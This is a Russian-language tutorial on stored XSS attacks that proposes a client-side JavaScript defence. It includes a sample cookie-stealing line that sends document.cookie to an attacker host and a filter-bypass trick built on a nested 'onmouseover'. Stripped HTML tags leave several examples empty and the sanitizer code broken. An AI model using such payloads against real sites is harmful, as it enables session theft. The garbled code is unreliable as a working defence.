Cross Site Scripting атака - это злонамеренное программное воздействие на браузер пользователя в целях кражи данных или причинения иного вреда. Чтобы не бросать тень на CSS (Caskading Style Sheets), договорились в сокращенном обозначении заменять первый символ, получили аббревиатуру: XSS -атака.
Хранимые XSS-атаки - такие, при которых скрипт добавляется злоумышленником в тело страницы (посредством форм ввода - текстовых полей, инпутов, contenteditable- элементов - на форумах, в гостевых книгах и т.п.). Вставленный в сообщение замаскированный XSS-скрипт сохраняется (отсюда и название) сайтом, затем, при запросе пользователями зараженной страницы, запускается и атакует.
Варианты оформления внедряемого XSS-кода, ворующего кукиВ тегах . . . :
location.href="http://example.com/" + document.cookie;
В виде обработчика событий в html-теге:
Какой-то текст
С использованием псевдопротокола javascript: :
Результатом встраивания любого из этих примеров в страницу чужого сайта будет формирование
от браузеров, загрузивших ее, запроса вида
http://example.com/login=sasha;%20parol=terminator
,
где http://example.com/
- сайт злоумышленника, а login=sasha
,
parol=terminator
- куки с компьютера пользователя (куки или сам тип воруемой информации
могут быть иными, но нам данное обстоятельство сейчас не важно). На сайте вора страницы
с запрашиваемым адресом, понятно, нет, поэтому сервер его домена (http://example.com/
)
сгенерирует 404-ошибку, которую легко перехватить и записать адрес запроса в лог. Таким
образом, когда вредитель внедрит в страницу чужого сайта любой из вышеприведенных XSS-скриптов
(в отсутствие мер защиты на сайте), тогда в течение некоторого времени на сервере
http://example.com/
автоматически сформируется лог-файл, содержащий сведения о куках с браузеров всех загрузивших
зараженную страницу пользователей.
Решение проблемы очевидно: исключить возможность программного исполнения
в браузере вводимого пользователем, сохраняемого и показываемого затем другим
пользователям текста. Следовательно, необходимо нейтрализовать во вводе все те
места, которые явно или предположительно включают в себя скрипт, как то:
- контейнеры . . .
;
- обработчики событий
в тегах;
- псевдопротоколы javascript:
.
Казалось бы, просто: убрать из текста заранее известные опасные последовательности символов. Так обычно и делают: на сервере php-обработчик (фильтр) парсит ввод, вырезает из него или заменяет в нем подозрительные фрагменты. Но! Браузеры ведь исполняют JavaScript, ничего "не зная" о PHP, сервер, наоборот, "не ведает" о javascript-е. В серверной защите плохо то, что она, по большому счету, не понимает, что она делает. Отсюда становятся понятными усилия "умельцев" хранимых XSS-атак. Последние двигаются в направлении подбора для атакуемых движков такого способа порчи вредоносного скрипта, при котором фильтр на сервере уже его не распознает, а иногда даже помогает заражению сайта.
Простейший пример. Злоумышленник вводит:
Сообщение отправляется на север. На сервере фильтр "видит" опасную символьную последовательность
onmouseover
и вырезает ее. В итоге, не представляющее никакой угрозы (не распознаваемое
браузерами) oonmouseovernmouseover
превращается в onmouseover
, т.е. в понятное
браузерам указание на событие. В общем случае, хранимые XSS-атаки так и осуществляют: вводят
в поля сайта комбинации символов, отправляют, смотрят, что получается на выходе. Далее делают
предположения о том, как работает фильтр и начинают составлять "боевую" комбинацию для него.
Чтобы полноценно распознавать html на сервере, там нужен html-парсер, который учтет все, вплоть до особенностей различных версий того или иного браузера. Не кросс-, а СВЕРХ-браузерный парсер. Решение может быть более сложным, чем сама задача.
Браузерная защита от хранимых XSS-атакHtml-парсеры ведь уже есть - в браузерах. Пользуясь этим, заманчиво переложить задачу распознавания хранимых XSS-атак (ну, и защиту от них) на сами браузеры. Тогда станет ненужным предугадывать на сервере, увидит ли в добавленном на форум сообщении активное содержимое Firefox, увидит ли там активное содержимое Интернет-эксплорер и т.д. Логичнее спросить у браузера: "Ты, Firefox, видишь здесь скрипт?" . Или: "Ты, Интернет-эксплорер, видишь в этом сообщении активное содержимое?" Если браузер - именно этот, конкретный, этой версии - обнаружил скрипт, тогда можно отдать браузеру приказ нейтрализовать обнаруженное.
Скрипты выполняются браузером по ходу загрузки страницы. Пусть даже фрагмент текста невидим или скрыт - если там есть скрипт, скрипт обязательно будет запущен. Какого-то html-контейнера, запрещающего исполнение скриптов, до сих пор не изобретено (если бы такой контейнер придумали, вопроса хранимых XSS-атак не стояло бы в принципе).
Нам нужна "пассивная" загрузка - чтобы скрипты не запускались. Единственное, что приходит на ум - использовать комментарий ( ). Закомментированное браузерами не интерпретируется, не отображается, но загружается и встраивается в DOM (Document Object Model). Таким образом, заведомо имея на странице сайта подозрительный в отношении XSS контент, мы можем, тем не менее, безбоязненно отдавать эту страницу браузерам, лишь предварительно закомментировав сомнительные в плане безопасности фрагменты.
По окончании загрузки, браузер должен отмеченные нами части текста проанализировать,
обезопасить их, затем только показать пользователю. Событие, соответствующее окончанию
загрузки страницы, есть, называется оно onload
, применимо к контейнеру body
.
Значит, тело страниц нашего сайта, по крайней мере, тех из них, которые содержат добавляемый
пользователями контент, должно реагировать на окончание загрузки:
,
где getid("message")
- функция, принимающая идентификатор того html-контейнера,
содержимое которого должно быть проанализировано и обезврежено.
Интернет-эксплорер версий 6 или 7, сейчас - летом 2014 года - еще используют. Исходя из рунетовских статистик можно оценить долю эксплореров 6 и 7, вместе взятых, в 1% трафика. Пожалуй, это самые уязвимые браузеры. Я думаю, защиту надо строить такую, которая будет работать, начиная с шестого эксплорера. Пусть это и даст некоторые шероховатости в коде.
Шестой эксплорер в ответ на document.getElementByClassName() выдает объект (не коллекцию объектов, как можно было бы ожидать). Подстраиваться приходится под самого слабого, поэтому, будем получать фрагменты текста так, как хочет эксплорер 6 - по одному. Опираться будем все же на id , но при этом допуская множество фрагментов с одинаковым id на одной странице. Такое против правил, зато получится кроссбраузерно.
Функция getid(id) :
function getid(id) { var obj; while (document.getElementById(id)) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("", ""); clearhtml(obj); ]*?script[^>]*?>/gi, ""); obj.innerHTML = obj.innerHTML.replace(/]*?js:[^>]*?>/gi, ""); } }
Ничего сложного, тем не менее, по каждой строке есть пояснения - в титлах (просто наведите курсор).
Функция: чистильщик htmlПользуясь методами и свойствами DOM, в частности, можно получить:
- массив вложенных html-контейнеров;
- имя каждого вложенного html-контейнера;
- имена всех атрибутов каждого html-контейнера.
В записи вида